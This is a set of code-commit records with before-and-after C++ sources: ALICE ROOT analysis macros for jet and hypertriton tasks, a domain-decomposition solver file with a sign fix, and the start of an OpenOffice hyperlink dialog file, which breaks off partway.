task requires an input event handler\");\n return NULL;\n }\n \n TString name(\"AliAnalysisTaskChargedJetsHadronCF\");\n if (strcmp(jetArray,\"\")) {\n name += \"_\";\n name += jetArray;\n }\n if (strcmp(rhoObject,\"\")) {\n name += \"_\";\n name += rhoObject;\n }\n if (strcmp(suffix,\"\")) {\n name += \"_\";\n name += suffix;\n }\n\n AliAnalysisDataContainer* contHistos = mgr->CreateContainer(Form(\"%s_histos\", name.Data()), TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s:ChargedJetsHadronCF\", AliAnalysisManager::GetCommonFileName()));\n\n \/\/==============================================================================\n \/\/ Adding and configuring tasks\n\n AliAnalysisTaskChargedJetsHadronCF* jetTask = new AliAnalysisTaskChargedJetsHadronCF(name);\n jetTask->SetNeedEmcalGeom(kFALSE);\n jetTask->SetVzRange(-10.,10.);\n jetTask->SetOffTrigger(physSel);\n\n AliParticleContainer *trackCont = jetTask->AddParticleContainer(trackArray);\n trackCont->SetFilterHybridTracks(kTRUE);\n trackCont->SetParticlePtCut(minTrackPt);\n\n AliJetContainer *jetCont = jetTask->AddJetContainer(jetArray,0,jetRadius);\n if (jetCont) {\n jetCont->SetRhoName(rhoObject);\n jetCont->SetPercAreaCut(minJetAreaPerc);\n jetCont->SetJetPtCut(minJetPt);\n jetCont->SetLeadingHadronType(0);\n jetCont->SetPtBiasJetTrack(minLeadingHadronPt);\n jetCont->SetJetEtaLimits(-minJetEta, +minJetEta);\n jetCont->ConnectParticleContainer(trackCont);\n jetCont->SetMaxTrackPt(1000);\n }\n\n mgr->AddTask(jetTask);\n\n \/\/==============================================================================\n \/\/ Finalization\n\n mgr->ConnectInput (jetTask, 0, mgr->GetCommonInputContainer() );\n mgr->ConnectOutput (jetTask, 1, contHistos );\n \n cout << \" ############ MACRO EXECUTION DONE: AddTaskChargedJetsHadronCF.C ############\\n\";\n \n return jetTask;\n}\n<commit_msg>Changed default jet cuts<commit_after>\/\/ AddTaskChargedJetsHadronCF.C\n\nAliAnalysisTaskChargedJetsHadronCF* AddTaskChargedJetsHadronCF(\n UInt_t physSel = 0,\n const char *trackArray = \"tracks\",\n const char *jetArray = \"jets\",\n const char *rhoObject = \"Rho\",\n Double_t jetRadius = 0.2,\n Double_t minJetEta = 0.7,\n Double_t minLeadingHadronPt = 0.0,\n Double_t minJetPt = 0.15,\n Double_t minTrackPt = 0.15,\n Double_t minJetAreaPerc = 0.557,\n const char *suffix = \"\"\n)\n{ \n cout << \" ############ MACRO EXECUTION STARTED: AddTaskChargedJetsHadronCF.C ############\\n\";\n \/\/==============================================================================\n \/\/ Prepare analysis manager, containers, etc.\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr)\n {\n ::Error(\"AddTaskChargedJetsHadronCF\", \"No analysis manager to connect to.\");\n return NULL;\n } \n if (!mgr->GetInputEventHandler())\n {\n ::Error(\"AddTaskChargedJetsHadronCF\", \"This task requires an input event handler\");\n return NULL;\n }\n \n TString name(\"AliAnalysisTaskChargedJetsHadronCF\");\n if (strcmp(jetArray,\"\")) {\n name += \"_\";\n name += jetArray;\n }\n if (strcmp(rhoObject,\"\")) {\n name += \"_\";\n name += rhoObject;\n }\n if (strcmp(suffix,\"\")) {\n name += \"_\";\n name += suffix;\n }\n\n AliAnalysisDataContainer* contHistos = mgr->CreateContainer(Form(\"%s_histos\", name.Data()), TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s:ChargedJetsHadronCF\", AliAnalysisManager::GetCommonFileName()));\n\n \/\/==============================================================================\n \/\/ Adding and configuring tasks\n\n AliAnalysisTaskChargedJetsHadronCF* jetTask = new AliAnalysisTaskChargedJetsHadronCF(name);\n jetTask->SetNeedEmcalGeom(kFALSE);\n jetTask->SetVzRange(-10.,10.);\n jetTask->SetOffTrigger(physSel);\n\n AliParticleContainer *trackCont = jetTask->AddParticleContainer(trackArray);\n trackCont->SetFilterHybridTracks(kTRUE);\n trackCont->SetParticlePtCut(minTrackPt);\n\n AliJetContainer *jetCont = jetTask->AddJetContainer(jetArray,6,jetRadius);\n if (jetCont) {\n jetCont->SetRhoName(rhoObject);\n jetCont->SetPercAreaCut(minJetAreaPerc);\n jetCont->SetJetPtCut(minJetPt);\n jetCont->SetLeadingHadronType(0);\n jetCont->SetPtBiasJetTrack(minLeadingHadronPt);\n jetCont->SetJetEtaLimits(-minJetEta, +minJetEta);\n jetCont->ConnectParticleContainer(trackCont);\n jetCont->SetMaxTrackPt(1000);\n }\n\n mgr->AddTask(jetTask);\n\n \/\/==============================================================================\n \/\/ Finalization\n\n mgr->ConnectInput (jetTask, 0, mgr->GetCommonInputContainer() );\n mgr->ConnectOutput (jetTask, 1, contHistos );\n \n cout << \" ############ MACRO EXECUTION DONE: AddTaskChargedJetsHadronCF.C ############\\n\";\n \n return jetTask;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iomanip>\n#include <cassert>\n#include \"SDShared.hpp\"\n#include \"exception\/exception.hpp\"\n\nSDShared::SDShared(const std::vector< std::pair<int, int> >& coords,\n const CoordConverter& coordConverter,\n unsigned int index):\n std::vector< std::pair<int ,int> >(coords),\n _coordConverter(coordConverter),\n _id(index) {\n}\n\nvoid SDShared::execEquation(eqType& eqFunc,\n const std::map< std::string, Quantity<real>* >& quantityMap) {\n\n eqFunc(*this, quantityMap);\n}\n\nvoid SDShared::addDirichletCell(std::pair < std::pair<int, int>, std::map<std::string, real> > d) {\n for (auto p : d.second)\n _dirichletCellMap[p.first][convert(d.first.first, d.first.second)] = p.second;\n}\n\nvoid SDShared::addTimeVaryingCell(std::pair < std::pair<int, int>, std::map<std::string, real> > d) {\n for (auto p : d.second)\n _timeVaryingCellMap[p.first][convert(d.first.first, d.first.second)] = p.second;\n}\n\nvoid SDShared::addNeumannCell(std::pair< std::pair<int, int>, std::pair< std::pair<int, int>, std::map<std::string, real> > > n) {\n for (auto p : n.second.second)\n _neumannCellMap[p.first][convert(n.first.first, n.first.second)] = std::make_pair(convert(n.second.first.first, n.second.first.second), p.second);\n}\n\nsize_t SDShared::getOverlapCellNumber(unsigned int sddId) const {\n if (_sendIndexMap.find(sddId) == _sendIndexMap.end())\n return 0;\n\n return _sendIndexMap.at(sddId).size();\n}\n\nvoid SDShared::addOverlapCell(unsigned int sddId, size_t sendIndex, size_t recvIndex) {\n _sendIndexMap[sddId].push_back(sendIndex);\n _recvIndexMap[sddId].push_back(recvIndex);\n}\n\nvoid SDShared::updateBoundaryCells(Quantity<real>* quantity, const real& t) const {\n updateDirichletCells(quantity);\n updateNeumannCells(quantity);\n updateTimeVaryingCells(quantity, t);\n}\n\nvoid SDShared::updateDirichletCells(Quantity<real>* quantity) const {\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, real >>::const_iterator it = _dirichletCellMap.find(qty.getName());\n if (it == _dirichletCellMap.end())\n return;\n\n const std::unordered_map< size_t, real>& dirichletValue = it->second;\n\n \/\/ This cannot be.\n assert(dirichletValue.size() != 0);\n\n for (auto it = dirichletValue.begin(); it != dirichletValue.end(); ++it)\n qty.set0(it->second, it->first);\n}\n\nvoid SDShared::updateTimeVaryingCells(Quantity<real>* quantity, const real& t) const {\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, real >>::const_iterator it = _timeVaryingCellMap.find(qty.getName());\n if (it == _timeVaryingCellMap.end())\n return;\n\n const std::unordered_map< size_t, real>& parameterValue = it->second;\n\n \/\/ This cannot be.\n assert(parameterValue.size() != 0);\n\n for (auto it = parameterValue.begin(); it != parameterValue.end(); ++it) {\n real v = 1. - it->second * t;\n \/\/std::cout << \"v: \" << std::defaultfloat << std::setprecision(Number::max_digits10) << v << std::endl;\n qty.set0(v, it->first);\n }\n}\n\nvoid SDShared::updateNeumannCells(Quantity<real>* quantity) const {\n\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, std::pair<size_t, real>>>::const_iterator cit = _neumannCellMap.find(qty.getName());\n if (cit == _neumannCellMap.end())\n return;\n\n const std::unordered_map< size_t, std::pair<size_t, real>>& neumannCoeff = cit->second;\n\n \/\/ This cannot be.\n assert(neumannCoeff.size() != 0);\n\n for (auto it = neumannCoeff.begin(); it != neumannCoeff.end(); ++it) {\n qty.set0(it->second.second * qty.get0(it->second.first), it->first);\n }\n}\n\nvoid SDShared::copyOverlapCellIn(const std::map< std::string, Quantity<real>* >& quantityMap, const std::unordered_map<unsigned int, real* >& buffer) const {\n\n const size_t plus(quantityMap.size());\n for (auto const& it: _sendIndexMap) {\n size_t startPos(_bufferStartPos.at(it.first) * quantityMap.size());\n real* sddBuffer(buffer.at(it.first));\n for (const auto p: quantityMap) {\n auto& qty(*p.second);\n size_t index(startPos++);\n for (const unsigned int i : it.second) {\n sddBuffer[index] = qty.get0(i);\n index += plus;\n }\n }\n }\n}\n\nvoid SDShared::copyOverlapCellFrom(const std::map< std::string, Quantity<real>* >& quantityMap, const std::unordered_map<unsigned int, real* >& buffer) const {\n const size_t plus(quantityMap.size());\n for (auto const& it: _recvIndexMap) {\n real* sddBuffer(buffer.at(it.first));\n size_t startPos(_bufferStartPos.at(it.first) * plus);\n for (const auto p: quantityMap) {\n auto& qty(*p.second);\n size_t index(startPos++);\n for (const unsigned int i : it.second) {\n qty.set0(sddBuffer[index], i);\n index += plus;\n }\n }\n }\n}\n<commit_msg>sign correction<commit_after>#include <iomanip>\n#include <cassert>\n#include \"SDShared.hpp\"\n#include \"exception\/exception.hpp\"\n\nSDShared::SDShared(const std::vector< std::pair<int, int> >& coords,\n const CoordConverter& coordConverter,\n unsigned int index):\n std::vector< std::pair<int ,int> >(coords),\n _coordConverter(coordConverter),\n _id(index) {\n}\n\nvoid SDShared::execEquation(eqType& eqFunc,\n const std::map< std::string, Quantity<real>* >& quantityMap) {\n\n eqFunc(*this, quantityMap);\n}\n\nvoid SDShared::addDirichletCell(std::pair < std::pair<int, int>, std::map<std::string, real> > d) {\n for (auto p : d.second)\n _dirichletCellMap[p.first][convert(d.first.first, d.first.second)] = p.second;\n}\n\nvoid SDShared::addTimeVaryingCell(std::pair < std::pair<int, int>, std::map<std::string, real> > d) {\n for (auto p : d.second)\n _timeVaryingCellMap[p.first][convert(d.first.first, d.first.second)] = p.second;\n}\n\nvoid SDShared::addNeumannCell(std::pair< std::pair<int, int>, std::pair< std::pair<int, int>, std::map<std::string, real> > > n) {\n for (auto p : n.second.second)\n _neumannCellMap[p.first][convert(n.first.first, n.first.second)] = std::make_pair(convert(n.second.first.first, n.second.first.second), p.second);\n}\n\nsize_t SDShared::getOverlapCellNumber(unsigned int sddId) const {\n if (_sendIndexMap.find(sddId) == _sendIndexMap.end())\n return 0;\n\n return _sendIndexMap.at(sddId).size();\n}\n\nvoid SDShared::addOverlapCell(unsigned int sddId, size_t sendIndex, size_t recvIndex) {\n _sendIndexMap[sddId].push_back(sendIndex);\n _recvIndexMap[sddId].push_back(recvIndex);\n}\n\nvoid SDShared::updateBoundaryCells(Quantity<real>* quantity, const real& t) const {\n updateDirichletCells(quantity);\n updateNeumannCells(quantity);\n updateTimeVaryingCells(quantity, t);\n}\n\nvoid SDShared::updateDirichletCells(Quantity<real>* quantity) const {\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, real >>::const_iterator it = _dirichletCellMap.find(qty.getName());\n if (it == _dirichletCellMap.end())\n return;\n\n const std::unordered_map< size_t, real>& dirichletValue = it->second;\n\n \/\/ This cannot be.\n assert(dirichletValue.size() != 0);\n\n for (auto it = dirichletValue.begin(); it != dirichletValue.end(); ++it)\n qty.set0(it->second, it->first);\n}\n\nvoid SDShared::updateTimeVaryingCells(Quantity<real>* quantity, const real& t) const {\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, real >>::const_iterator it = _timeVaryingCellMap.find(qty.getName());\n if (it == _timeVaryingCellMap.end())\n return;\n\n const std::unordered_map< size_t, real>& parameterValue = it->second;\n\n \/\/ This cannot be.\n assert(parameterValue.size() != 0);\n\n for (auto it = parameterValue.begin(); it != parameterValue.end(); ++it) {\n real v = 1. + it->second * t;\n \/\/std::cout << \"v: \" << std::defaultfloat << std::setprecision(Number::max_digits10) << v << std::endl;\n qty.set0(v, it->first);\n }\n}\n\nvoid SDShared::updateNeumannCells(Quantity<real>* quantity) const {\n\n auto& qty(*quantity);\n\n \/\/ No dirichlet values stored for this quantity.\n std::map<std::string, std::unordered_map< size_t, std::pair<size_t, real>>>::const_iterator cit = _neumannCellMap.find(qty.getName());\n if (cit == _neumannCellMap.end())\n return;\n\n const std::unordered_map< size_t, std::pair<size_t, real>>& neumannCoeff = cit->second;\n\n \/\/ This cannot be.\n assert(neumannCoeff.size() != 0);\n\n for (auto it = neumannCoeff.begin(); it != neumannCoeff.end(); ++it) {\n qty.set0(it->second.second * qty.get0(it->second.first), it->first);\n }\n}\n\nvoid SDShared::copyOverlapCellIn(const std::map< std::string, Quantity<real>* >& quantityMap, const std::unordered_map<unsigned int, real* >& buffer) const {\n\n const size_t plus(quantityMap.size());\n for (auto const& it: _sendIndexMap) {\n size_t startPos(_bufferStartPos.at(it.first) * quantityMap.size());\n real* sddBuffer(buffer.at(it.first));\n for (const auto p: quantityMap) {\n auto& qty(*p.second);\n size_t index(startPos++);\n for (const unsigned int i : it.second) {\n sddBuffer[index] = qty.get0(i);\n index += plus;\n }\n }\n }\n}\n\nvoid SDShared::copyOverlapCellFrom(const std::map< std::string, Quantity<real>* >& quantityMap, const std::unordered_map<unsigned int, real* >& buffer) const {\n const size_t plus(quantityMap.size());\n for (auto const& it: _recvIndexMap) {\n real* sddBuffer(buffer.at(it.first));\n size_t startPos(_bufferStartPos.at(it.first) * plus);\n for (const auto p: quantityMap) {\n auto& qty(*p.second);\n size_t index(startPos++);\n for (const unsigned int i : it.second) {\n qty.set0(sddBuffer[index], i);\n index += plus;\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <Rtypes.h>\n#include <TString.h>\n#include \"AliAnalysisTaskHypertriton3.h\"\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisDataContainer.h\"\n#include \"AliMCEventHandler.h\"\n#include \"AliPID.h\"\n#endif\n\nAliAnalysisTaskHypertriton3 *AddTaskHypertriton3(Bool_t readMC=kFALSE,\n\t\t\t\t\t\t Bool_t fillTree=kFALSE,\n\t\t\t\t\t\t TString suffix = \"\"){\n\n \/\/ Creates, configures and attaches to the train the task for pi, K , p spectra\n \/\/ with ITS standalone tracks\n \/\/ Get the pointer to the existing analysis manager via the static access method.\n \/\/==============================================================================\n ::Info(\"AddTaskHypertriton3\",\"Adding a new task with this settings readMC = %i\",readMC);\n\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskHypertriton3\", \"No analysis manager to connect to.\");\n return NULL;\n }\n\n \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler()) {\n ::Error(\"AddTaskHypertriton3\", \"This task requires an input event handler\");\n return NULL;\n }\n\n TString type = mgr->GetInputEventHandler()->GetDataType(); \/\/ can be \"ESD\" or \"AOD\"\n if(type.Contains(\"AOD\")){\n ::Error(\"AddTaskHypertriton3\", \"This task requires to run on ESD\");\n return NULL;\n }\n\n \/\/ Add MC handler (for kinematics)\n if(readMC){\n AliMCEventHandler* handler = new AliMCEventHandler;\n handler->SetReadTR(kFALSE);\n mgr->SetMCtruthEventHandler(handler);\n }\n\n\n \/\/ Create and configure the task\n\n TString tskname = \"hypertriton\";\n tskname.Append(Form(\"%s\",suffix.Data()));\n AliAnalysisTaskHypertriton3 *taskhyp = new AliAnalysisTaskHypertriton3();\n taskhyp->SetReadMC(readMC);\n taskhyp->SetFillTree(fillTree);\n\n mgr->AddTask(taskhyp);\n\n \/\/ Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n TString outputFileName = AliAnalysisManager::GetCommonFileName();\n outputFileName += \":ESDHypertriton\";\n\n AliAnalysisDataContainer *coutput =0x0;\n\n coutput = mgr->CreateContainer(Form(\"strogolo_%s\",tskname.Data()),\n\t\t\t\t TList::Class(),\n\t\t\t\t AliAnalysisManager::kOutputContainer,\n\t\t\t\t AliAnalysisManager::GetCommonFileName());\n\n\n\n mgr->ConnectInput(taskhyp, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(taskhyp, 1, coutput);\n\n\n if(fillTree){\n AliAnalysisDataContainer *coutput2 = mgr->CreateContainer(\"trogolo_HyperTree\", TTree::Class(),\n\t\t\t\t\t\t\t AliAnalysisManager::kOutputContainer,\n\t\t\t\t\t\t\t \"trogolo_Hyper3.root\");\n coutput2->SetSpecialOutput();\n mgr->ConnectOutput(taskhyp, 2, coutput2);\n\n }\n\n return taskhyp;\n}\n<commit_msg>Change output name<commit_after>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <Rtypes.h>\n#include <TString.h>\n#include \"AliAnalysisTaskHypertriton3.h\"\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisDataContainer.h\"\n#include \"AliMCEventHandler.h\"\n#include \"AliPID.h\"\n#endif\n\nAliAnalysisTaskHypertriton3 *AddTaskHypertriton3(Bool_t readMC=kFALSE,\n\t\t\t\t\t\t Bool_t fillTree=kFALSE,\n\t\t\t\t\t\t TString suffix = \"\"){\n\n \/\/ Creates, configures and attaches to the train the task for pi, K , p spectra\n \/\/ with ITS standalone tracks\n \/\/ Get the pointer to the existing analysis manager via the static access method.\n \/\/==============================================================================\n ::Info(\"AddTaskHypertriton3\",\"Adding a new task with this settings readMC = %i\",readMC);\n\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) {\n ::Error(\"AddTaskHypertriton3\", \"No analysis manager to connect to.\");\n return NULL;\n }\n\n \/\/ Check the analysis type using the event handlers connected to the analysis manager.\n \/\/==============================================================================\n if (!mgr->GetInputEventHandler()) {\n ::Error(\"AddTaskHypertriton3\", \"This task requires an input event handler\");\n return NULL;\n }\n\n TString type = mgr->GetInputEventHandler()->GetDataType(); \/\/ can be \"ESD\" or \"AOD\"\n if(type.Contains(\"AOD\")){\n ::Error(\"AddTaskHypertriton3\", \"This task requires to run on ESD\");\n return NULL;\n }\n\n \/\/ Add MC handler (for kinematics)\n if(readMC){\n AliMCEventHandler* handler = new AliMCEventHandler;\n handler->SetReadTR(kFALSE);\n mgr->SetMCtruthEventHandler(handler);\n }\n\n\n \/\/ Create and configure the task\n\n TString tskname = \"hypertriton\";\n tskname.Append(Form(\"%s\",suffix.Data()));\n AliAnalysisTaskHypertriton3 *taskhyp = new AliAnalysisTaskHypertriton3();\n taskhyp->SetReadMC(readMC);\n taskhyp->SetFillTree(fillTree);\n\n mgr->AddTask(taskhyp);\n\n \/\/ Create ONLY the output containers for the data produced by the task.\n \/\/ Get and connect other common input\/output containers via the manager as below\n \/\/==============================================================================\n TString outputFileName = AliAnalysisManager::GetCommonFileName();\n outputFileName += \":ESDHypertriton\";\n\n AliAnalysisDataContainer *coutput =0x0;\n\n coutput = mgr->CreateContainer(Form(\"strogolo_%s\",tskname.Data()),\n\t\t\t\t TList::Class(),\n\t\t\t\t AliAnalysisManager::kOutputContainer,\n\t\t\t\t AliAnalysisManager::GetCommonFileName());\n\n\n\n mgr->ConnectInput(taskhyp, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(taskhyp, 1, coutput);\n\n\n if(fillTree){\n AliAnalysisDataContainer *coutput2 = mgr->CreateContainer(\"trogolo_HyperTree\", TTree::Class(),\n\t\t\t\t\t\t\t AliAnalysisManager::kOutputContainer,\n\t\t\t\t\t\t\t AliAnalysisManager::GetCommonFileName());\n coutput2->SetSpecialOutput();\n mgr->ConnectOutput(taskhyp, 2, coutput2);\n\n }\n\n return taskhyp;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: hldoctp.cxx,v $\n * $Revision: 1.28 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_cui.hxx\"\n\n#include \"cuihyperdlg.hxx\"\n#include <unotools\/localfilehelper.hxx>\n#include <sfx2\/filedlghelper.hxx>\n#include \"com\/sun\/star\/ui\/dialogs\/TemplateDescription.hpp\"\n\n#include \"hldoctp.hxx\"\n#include \"hyperdlg.hrc\"\n#include \"hlmarkwn_def.hxx\" \/\/ADD CHINA001\n\nsal_Char __READONLY_DATA sHash[] = \"#\";\nsal_Char __READONLY_DATA sFileScheme[] = INET_FILE_SCHEME;\nsal_Char __READONLY_DATA sPortalFileScheme[] = \"vnd.sun.star.wfs:\/\/\";\nsal_Char __READONLY_DATA sNewsSRVScheme[] = \"news:\/\/\";\n \/\/ TODO news:\/\/ is nonsense\nsal_Char __READONLY_DATA sHTTPScheme[] = INET_HTTP_SCHEME;\n\n\/*************************************************************************\n|*\n|* Contructor \/ Destructor\n|*\n|************************************************************************\/\n\nSvxHyperlinkDocTp::SvxHyperlinkDocTp ( Window *pParent, const SfxItemSet& rItemSet)\n : SvxHyperlinkTabPageBase ( pParent, CUI_RES( RID_SVXPAGE_HYPERLINK_DOCUMENT ), rItemSet ),\n maGrpDocument ( this, CUI_RES (GRP_DOCUMENT) ),\n maFtPath ( this, CUI_RES (FT_PATH_DOC) ),\n maCbbPath ( this, INET_PROT_FILE ),\n maBtFileopen ( this, CUI_RES (BTN_FILEOPEN) ),\n maGrpTarget ( this, CUI_RES (GRP_TARGET) ),\n maFtTarget ( this, CUI_RES (FT_TARGET_DOC) ),\n maEdTarget ( this, CUI_RES (ED_TARGET_DOC) ),\n maFtURL ( this, CUI_RES (FT_URL) ),\n maFtFullURL ( this, CUI_RES (FT_FULL_URL) ),\n maBtBrowse ( this, CUI_RES (BTN_BROWSE) ),\n mbMarkWndOpen ( FALSE )\n{\n \/\/ Set HC bitmaps and disable display of bitmap names.\n maBtBrowse.SetModeImage( Image( CUI_RES( IMG_BROWSE_HC ) ), BMP_COLOR_HIGHCONTRAST );\n maBtBrowse.EnableTextDisplay (FALSE);\n maBtFileopen.SetModeImage( Image( CUI_RES( IMG_FILEOPEN_HC ) ), BMP_COLOR_HIGHCONTRAST );\n maBtFileopen.EnableTextDisplay (FALSE);\n\n InitStdControls();\n FreeResource();\n\n \/\/ Init URL-Box (pos&size, Open-Handler)\n maCbbPath.SetPosSizePixel ( LogicToPixel( Point( COL_2, 15 ), MAP_APPFONT ),\n LogicToPixel( Size ( 176 - COL_DIFF, 60), MAP_APPFONT ) );\n maCbbPath.Show();\n String aFileScheme( INET_FILE_SCHEME, RTL_TEXTENCODING_ASCII_US );\n maCbbPath.SetBaseURL(aFileScheme);\n maCbbPath.SetHelpId( HID_HYPERDLG_DOC_PATH );\n\n SetExchangeSupport ();\n\n \/\/ overload handlers\n maBtFileopen.SetClickHdl ( LINK ( this, SvxHyperlinkDocTp, ClickFileopenHdl_Impl ) );\n maBtBrowse.SetClickHdl ( LINK ( this, SvxHyperlinkDocTp, ClickTargetHdl_Impl ) );\n maCbbPath.SetModifyHdl ( LINK ( this, SvxHyperlinkDocTp, ModifiedPathHdl_Impl ) );\n maEdTarget.SetModifyHdl ( LINK ( this, SvxHyperlinkDocTp, ModifiedTargetHdl_Impl ) );\n\n maCbbPath.SetLoseFocusHdl( LINK ( this, SvxHyperlinkDocTp, LostFocusPathHdl_Impl ) );\n\n maTimer.SetTimeoutHdl ( LINK ( this, SvxHyperlinkDocTp, TimeoutHdl_Impl ) );\n}\n\nSvxHyperlinkDocTp::~SvxHyperlinkDocTp ()\n{\n}\n\n\/*************************************************************************\n|*\n|* Fill all dialog-controls except controls in groupbox \"more...\"\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::FillDlgFields ( String& aStrURL )\n{\n INetURLObject aURL ( aStrURL );\n\n String aStrMark;\n xub_StrLen nPos = aStrURL.SearchAscii( sHash );\n \/\/ path\n maCbbPath.SetText ( aStrURL.Copy( 0, ( nPos == STRING_NOTFOUND ? aStrURL.Len() : nPos ) ) );\n\n \/\/ set target in document at editfield\n if ( nPos != STRING_NOTFOUND && nPos<aStrURL.Len()-1 )\n aStrMark = aStrURL.Copy( nPos+1, aStrURL.Len() );\n maEdTarget.SetText ( aStrMark );\n\n ModifiedPathHdl_Impl ( NULL );\n}\n\n\/*************************************************************************\n|*\n|* retrieve current url-string\n|*\n|************************************************************************\/\n\nString SvxHyperlinkDocTp::GetCurrentURL ()\n{\n \/\/ get data from dialog-controls\n String aStrURL;\n String aStrPath ( maCbbPath.GetText() );\n const String aBaseURL ( maCbbPath.GetBaseURL() );\n String aStrMark( maEdTarget.GetText() );\n\n if ( aStrPath != aEmptyStr )\n {\n INetURLObject aURL( aStrPath );\n if ( aURL.GetProtocol() != INET_PROT_NOT_VALID ) \/\/ maybe the path is already a valid\n aStrURL = aStrPath; \/\/ hyperlink, then we can use this path directly\n else\n utl::LocalFileHelper::ConvertSystemPathToURL( aStrPath, aBaseURL, aStrURL );\n\n \/\/#105788# always create a URL even if it is not valid\n if( aStrURL == aEmptyStr )\n aStrURL = aStrPath;\n }\n\n if( aStrMark != aEmptyStr )\n {\n aStrURL.AppendAscii( sHash );\n aStrURL += aStrMark;\n }\n\n return aStrURL;\n}\n\n\/*************************************************************************\n|*\n|* retrieve and prepare data from dialog-fields\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::GetCurentItemData ( String& aStrURL, String& aStrName,\n String& aStrIntName, String& aStrFrame,\n SvxLinkInsertMode& eMode )\n{\n \/\/ get data from standard-fields\n aStrURL = GetCurrentURL();\n\n if( aStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ||\n aStrURL.EqualsIgnoreCaseAscii( sPortalFileScheme ) )\n aStrURL=aEmptyStr;\n\n GetDataFromCommonFields( aStrName, aStrIntName, aStrFrame, eMode );\n}\n\n\/*************************************************************************\n|*\n|* static method to create Tabpage\n|*\n|************************************************************************\/\n\nIconChoicePage* SvxHyperlinkDocTp::Create( Window* pWindow, const SfxItemSet& rItemSet )\n{\n return( new SvxHyperlinkDocTp( pWindow, rItemSet ) );\n}\n\n\/*************************************************************************\n|*\n|* Set initial focus\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::SetInitFocus()\n{\n maCbbPath.GrabFocus();\n}\n\n\/*************************************************************************\n|*\n|* Click on imagebutton : fileopen\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ClickFileopenHdl_Impl, void *, EMPTYARG )\n{\n \/\/ Open Fileopen-Dialog\n ::sfx2::FileDialogHelper aDlg(\n com::sun::star::ui::dialogs::TemplateDescription::FILEOPEN_SIMPLE, 0,\n GetParent() );\n String aOldURL( GetCurrentURL() );\n if( aOldURL.EqualsIgnoreCaseAscii( sFileScheme, 0, sizeof( sFileScheme ) - 1 ) ||\n aOldURL.EqualsIgnoreCaseAscii( sPortalFileScheme, 0, sizeof( sFileScheme ) - 1 ) )\n {\n aDlg.SetDisplayDirectory( aOldURL );\n }\n\n DisableClose( sal_True );\n ErrCode nError = aDlg.Execute();\n DisableClose( sal_False );\n\n if ( ERRCODE_NONE == nError )\n {\n String aURL( aDlg.GetPath() );\n String aPath;\n\n utl::LocalFileHelper::ConvertURLToSystemPath( aURL, aPath );\n\n maCbbPath.SetBaseURL( aURL );\n maCbbPath.SetText( aPath );\n\n if ( aOldURL != GetCurrentURL() )\n ModifiedPathHdl_Impl (NULL);\n }\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Click on imagebutton : target\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ClickTargetHdl_Impl, void *, EMPTYARG )\n{\n if ( GetPathType ( maStrURL ) == Type_ExistsFile ||\n maStrURL == aEmptyStr ||\n maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ||\n maStrURL.EqualsIgnoreCaseAscii( sPortalFileScheme ) ||\n maStrURL.SearchAscii( sHash ) == 0 )\n {\n mpMarkWnd->SetError( LERR_NOERROR );\n\n EnterWait();\n\n if ( maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ||\n maStrURL.EqualsIgnoreCaseAscii( sPortalFileScheme ) )\n mpMarkWnd->RefreshTree ( aEmptyStr );\n else\n mpMarkWnd->RefreshTree ( maStrURL );\n\n LeaveWait();\n }\n else\n mpMarkWnd->SetError( LERR_DOCNOTOPEN );\n\n ShowMarkWnd ();\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Contens of combobox \"Path\" 